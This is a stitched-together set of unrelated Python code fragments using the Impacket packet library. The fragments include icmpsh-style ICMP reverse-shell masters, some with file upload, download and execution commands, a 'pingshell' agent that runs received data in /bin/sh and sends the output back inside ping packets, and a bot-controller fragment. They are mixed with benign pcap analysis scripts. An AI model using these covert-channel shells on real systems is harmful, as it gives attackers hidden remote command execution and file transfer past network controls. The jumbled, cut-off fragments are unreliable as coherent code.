cmd = str(cmd_args[1]).encode('ascii') print('Authenticating using key %s' % cmd) icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) icmp.contains(ImpactPacket.Data(cmd)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0))
DMZ_PCAP = "/Users/lirui/datasets/LLDOS/LLS_DDOS_1.0-dmz.dump" dmz = pcapy.open_offline(DMZ_PCAP) ip_count_map = defaultdict(lambda: 0) protocol_type_dict = {2048: 'IP', 2054: 'ARP'} eth_decoder = ImpactDecoder.EthDecoder() while 1: try: d = dmz.next() except pcapy.PcapError: break if not d: break header, packet_string = d try: eth = eth_decoder.decode(packet_string) protocol_type = protocol_type_dict.get( eth.get_ether_type(), "<unknown:" + str(eth.get_ether_type()) + ">") if protocol_type == 'IP': packet = ImpactDecoder.IPDecoder().decode(packet_string) ip_count_map[packet.get_ip_src()] += 1 except ImpactPacketException as ex: print 'error: ' + str(ex) + " " + str(len(packet_string)) pprint.pprint(ip_count_map.items())
def main(src, dst): if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: cmd = '' # Wait for incoming replies if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) try: # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) except socket.error, ex: sys.stderr.write("'%s'\n" % ex) sys.stderr.flush()
def createFlows(self): """Create necessary flows based on pcap file """ print "running..." self.writeFile("report.html", '<html>' + '<head><style>td { font-size:8pt; }</style></head>' + '<body><table border="1" style="width:1000px"><tr>' + '<th style="width:100px">Num.</th>' + '<th style="width:200px">Flow</th>' + '<th style="width:600px;word-wrap:true">Request/Response</th>' + '<th style="width:100px">Attachment</th>' + '</tr>') reader = pcapy.open_offline(self.pcapfile) eth_decoder = Decoders.EthDecoder() ip_decoder = Decoders.IPDecoder() tcp_decoder = Decoders.TCPDecoder() countPacket = 0 lastAttach = '' ext = '' (header, payload) = reader.next() while payload!='': # no other way to stop pcapy loop? countPacket+=1 try: if countPacket%100==0: print "(%d packets already processed)" % countPacket arrline = self.decodePayload(payload) # If TCP flag RST, we skip the packet if arrline: ethernet = eth_decoder.decode(payload) smac = self.decodeMac(ethernet.get_ether_shost()) dmac = self.decodeMac(ethernet.get_ether_dhost()) if ethernet.get_ether_type() == Packets.IP.ethertype: # if IP packet ip = ip_decoder.decode(payload[ethernet.get_header_size():]) if ip.get_ip_p() == Packets.TCP.protocol: # if TCP packet tcp = tcp_decoder.decode( payload[ethernet.get_header_size()+ip.get_header_size():]) ipsrc = ip.get_ip_src() ipdst = ip.get_ip_dst() sport = tcp.get_th_sport() dport = tcp.get_th_dport() sessionFile = "session-"+ipsrc+"."+str(sport)+"-"+ipdst+"."+str(dport) flow = ipsrc + ':' + str(sport) + '<br />(' + smac + ')' + '<br />-><br />' + ipdst + ':' + str(dport) + '<br />(' + dmac + ')' for line in arrline: if line.strip() != "": if chardet.detect(line)['encoding'] == 'ascii': line = line.replace('###~~~###', '') if line.startswith("GET ") or line.startswith("HTTP/"): if line.startswith("HTTP/"): # new file packetnum = countPacket self.writeFile("report.html", '<td> </td>') self.writeFile("report.html", '<tr><td>'+str(countPacket)+'</td>') self.writeFile("report.html", '<td>'+flow+'</td><td>') if line.startswith("Content-Type"): style = ' style="background:#ffff00"' ext = '.'+line.split("/")[1].split(";")[0] if ext == '.gzip': ext = '.gz' else: style = '' self.writeFile("report.html", '<div'+style+'>'+line+'</div>') else: # raw data if sessionFile + "-" + str(packetnum) + ext != lastAttach: # New file line = line.replace('###~~~###', '') lastAttach = sessionFile + "-" + str(packetnum) + ext self.writeFile("report.html",'</td><td align="center"><a href="' + sessionFile + "-" + str(packetnum) + ext + '">') if ext==".jpeg" or ext==".gif": self.writeFile("report.html",'<img src="' + sessionFile + "-" + str(packetnum) + ext + '" border="2" style="width:100px;" />') else: self.writeFile("report.html",'<div style="background:#ff0000;color:#fff;font-weight:bold;width:50px;text-align:center">' + ext[1:] + '</div>') self.writeFile("report.html", '</a></td></tr>') else: line = line.replace('###~~~###', '\r\n') # Content of the file self.writeFile(sessionFile + "-" + str(packetnum) + ext, line) # raw data (header, payload) = reader.next() except: break print "\n%d have been detected in this pcap file" % countPacket self.writeFile("report.html", "</table>\n%d have been detected in this pcap file</body></html>" % countPacket)
def main(): import sys DEFAULT_PROTOCOLS = ('tcp', ) sockets = [] print version.BANNER parser = argparse.ArgumentParser() parser.add_argument( "-i", metavar='FILE', help= 'pcap file to read packets. If not specified the program sniffes traffic (only as root)' ) parser.add_argument( "-o", metavar='FILE', help='pcap output file where the packets with errors will be written') options = parser.parse_args() outFile = options.o if options.i is None: sniffTraffic = True toListen = DEFAULT_PROTOCOLS else: sniffTraffic = False inFile = options.i packetNum = 0 if outFile: f_out = open(outFile, 'wb') f_out.write(str(pcapfile.PCapFileHeader())) if sniffTraffic is False: f_in = open(inFile, 'rb') hdr = pcapfile.PCapFileHeader() hdr.fromString(f_in.read(len(hdr))) decoder = ImpactDecoder.EthDecoder() else: for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) print "Listening on protocols:", toListen decoder = ImpactDecoder.IPDecoder() while 1: if sniffTraffic is False: pkt = pcapfile.PCapFilePacket() try: pkt.fromString(f_in.read(len(pkt))) except: break pkt['data'] = f_in.read(pkt['savedLength']) p = pkt['data'] else: ready = select(sockets, [], [])[0] for s in ready: p = s.recvfrom(4096)[0] if 0 == len(p): # Socket remotely closed. Discard it. sockets.remove(s) s.close() packet = decoder.decode(p) packetNum += 1 if sniffTraffic is True: instance = packet.child() else: instance = packet.child().child() if isinstance(instance, ImpactPacket.TCP): tcppacket = instance if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport( ) == 445 or tcppacket.get_th_sport( ) == 139 or tcppacket.get_th_dport() == 139: data = tcppacket.child() if data.get_size() > 0: logPacket = process(data, packetNum) if logPacket is True: pkt_out = pcapfile.PCapFilePacket() if sniffTraffic is True: eth = ImpactPacket.Ethernet() eth.contains(packet) eth.set_ether_type(0x800) pkt_out['data'] = eth.get_packet() else: pkt_out['data'] = str(p) if outFile: f_out.write(str(pkt_out))
def CatchICMP(conf): """ Main loop for catching packets """ global RUNNING # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Open a database object, the object will initialize a full db structure. datalog = DB() # Timestamp to start with ts_main = time.time() # Set some signals. oldInt = signal.signal(signal.SIGINT, HandleSignal) oldTerm = signal.signal(signal.SIGTERM, HandleSignal) oldHup = signal.signal(signal.SIGHUP, HandleSignal) # We are entering the main indefinite loop RUNNING = 1 while RUNNING: # Wait for incoming replies. if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() ################################ # Types of received packages # 1, ICMP Reply # 2, DU ICMP # 3, DU UDP # TODO: DU PU UDP (Port unreach) ################################ # If type is ICMP Reply if ricmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): data = ricmp.get_data_as_string() insert_ts = datalog.insert( 'catch', socket.inet_ntoa(data[0:4]), rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[4:6])[0]), socket.ntohs(struct.unpack('H',data[6:8])[0]), "ICMP REPLY" ) # block of code for writing verbose output if conf['verbose'] in range(1, 3): sys.stdout.write(".") sys.stdout.flush() if conf['verbose'] > 2: print "Session:%6s | Victim:%16s | Gateway:%16s | Unique:%16f | Type:%12s" % \ (socket.ntohs(struct.unpack('H',data[4:6])[0]),socket.inet_ntoa(data[0:4]),rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[6:8])[0]), "ICMP REPLY") # If we're dealing with a DU packet if ricmp.ICMP_UNREACH == ricmp.get_icmp_type(): data = ricmp.get_data_as_string() # If the DU is a reply to ICMP if struct.unpack('c', data[9:10])[0] == '\x01': insert_ts = datalog.insert( 'catch', socket.inet_ntoa(data[16:20]), rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[32:34])[0]), socket.ntohs(struct.unpack('H',data[34:36])[0]), "DU ICMP" ) # block of code for writing verbose output if conf['verbose'] in range(1, 3): sys.stdout.write(".") sys.stdout.flush() if conf['verbose'] > 2: print "Session:%6s | Victim:%16s | Gateway:%16s | Unique:%16f | Type:%12s" % \ (socket.ntohs(struct.unpack('H',data[32:34])[0]),socket.inet_ntoa(data[16:20]),rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[34:36])[0]), "DU ICMP" ) # If the DU is a reply to UDP elif struct.unpack('c', data[9:10])[0] == '\x11': insert_ts = datalog.insert( 'catch', socket.inet_ntoa(data[16:20]), rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[20:22])[0]), socket.ntohs(struct.unpack('H',data[4:6])[0]), "DU UDP" ) # block of code for writing verbose output if conf['verbose'] in range(1, 3): sys.stdout.write(".") sys.stdout.flush() if conf['verbose'] > 2: print "Session:%6s | Victim:%16s | Gateway:%16s | Unique:%16f | Type:%12s" % \ (socket.ntohs(struct.unpack('H',data[20:22])[0]),socket.inet_ntoa(data[16:20]),rip.get_ip_src(),\ socket.ntohs(struct.unpack('H',data[4:6])[0]), "DU UDP" ) else: print struct.unpack('c', data[9:10]) print( "consider implementing this new type of DU package sinds we hit it." ) # If we're in debug mode we need to do more if conf['debug']: # We need to open a new file and write the full packet to it fp = open("debug/%f.pckt" % insert_ts, "w") fp.write(reply) fp.flush() fp.close() # We only commit to database when needed for performance reasons if ((time.time() - ts_main) > 10): datalog.connection.commit() ts_main = time.time() # block of code for writing verbose output if conf['verbose'] in range(2, 3): sys.stdout.write("#") sys.stdout.flush() if conf['verbose'] > 2: print " database commit done, 10 seconds since last commit have passed!" print "Succesfully stopped" # Reset the signalhandlers signal.signal(signal.SIGINT, oldInt) signal.signal(signal.SIGINT, oldTerm) signal.signal(signal.SIGINT, oldHup) datalog.close()
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s],[],[],1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) time.sleep(1)
def pingshell(dst): printLine("[D] Dst: %s" % (dst), flag) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setblocking(0) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) printLine("[*] Socket created", flag) ip = ImpactPacket.IP() ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) response = "#" printLine("[D] Response: %s" % (response), flag) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(response)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host s.sendto(ip.get_packet(), (dst, 0)) decoder = ImpactDecoder.IPDecoder() cmd = '' count = 0 while 1: # Wait for incoming replies if s in select.select([s], [], [], 15)[0]: printLine("[*] Packet received from %s" % (dst), flag) buff = s.recv(4096) if 0 == len(buff): # Socket remotely closed s.close() return # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user # Get identifier and sequence number data = icmppacket.get_data_as_string() if len(data) > 0: if data != '\n': printLine("[D] Data: %s" % (str(data)), flag) if data.split('\n')[0] == 'exit': s.close() return # Parse command from standard input try: shell_proc = sub.Popen(["/bin/sh", "-i"], shell=True, stdin=sub.PIPE, stdout=sub.PIPE, stderr=sub.PIPE) except Exception, e: printLine("[X] ERROR: %s" % (str(e)), flag) try: response = shell_proc.communicate(data)[0] printLine("[D] Response: %s" % (response), flag) except Exception, e: printLine("[X] Error reading response", flag) response = 'error\n' response = response + '#' printLine("[D] Response: %s" % (response), flag) else: response = '#' if len(response) > 1432: chunks, chunk_size = len(response), len(response) / 1432 printLine( "[D] Chunks: %s, chunk_size: %s" % (chunks, chunk_size), flag) for i in range(0, chunks, chunk_size): printLine( "[D] Response[%s]: %s" % (i, str(response[i:i + chunk_size])), flag) # Include the command as data inside the ICMP packet icmp.contains( ImpactPacket.Data(str(response[i:i + chunk_size]))) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host s.sendto(ip.get_packet(), (dst, 0)) printLine("[D] Packet sent: %s" % (response), flag) else: # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(response)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host s.sendto(ip.get_packet(), (dst, 0)) printLine("[D] Packet sent: %s" % (response), flag)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Make standard input a non-blocking file #stdin_fd = sys.stdin.fileno() #setNonBlocking(stdin_fd) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_dst(botIP) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' # Wait for incoming replies if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed printLine("[*] Socket closed", flag) sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child()
def main(src, dst): buffer = '' buffer_out = [] next_out = '' if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) stdin_fd = sys.stdin.fileno() set_blocking(stdin_fd) try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except Exception: sys.stderr.write( 'You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): sock.close() sys.exit(0) ippacket = decoder.decode(buff) icmppacket = ippacket.child() if ippacket.get_ip_dst() == src and ippacket.get_ip_src( ) == dst and 8 == icmppacket.get_icmp_type(): ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: if 'start_get_file' in data and 'end_get_file' in data: result = write_get_file(data) data = result buffer = '' elif 'start_get_file' in data and 'end_get_file' not in data: buffer += data elif 'start_get_file' in buffer and 'end_get_file' in buffer: result = write_get_file(buffer) data = result buffer = '' elif 'start_get_file' not in data and 'end_get_file' not in data and buffer != '': buffer += data elif 'start_get_file' not in data and 'end_get_file' in data: buffer += data result = write_get_file(buffer) buffer = '' data = result elif 'upload_success' in data: next_out = '' if len(buffer_out) > 0: next_out = buffer_out.pop(0) if buffer == '' and len( buffer_out) <= 0 and next_out == '': sys.stdout.write(data) try: if next_out != '': cmd = next_out else: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return if 'get_file' in cmd: cmd_args = cmd.strip().split(' ') cmd = get_file(cmd_args[1], cmd_args[2]) elif ('put_file' in cmd or 'invoke_file' in cmd) and len(buffer_out) <= 0: cmd_args = cmd.strip().split(' ') if cmd_args[0] == 'put_file': buffer_out = put_file(cmd_args[1], cmd_args[2]) else: buffer_out = invoke_file(cmd_args[1]) cmd = '' if len(buffer_out) > 0: cmd = buffer_out.pop(0) # if cmd != '': # print(cmd) icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) icmp.contains(ImpactPacket.Data(cmd)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) sock.sendto(ip.get_packet(), (dst, 0))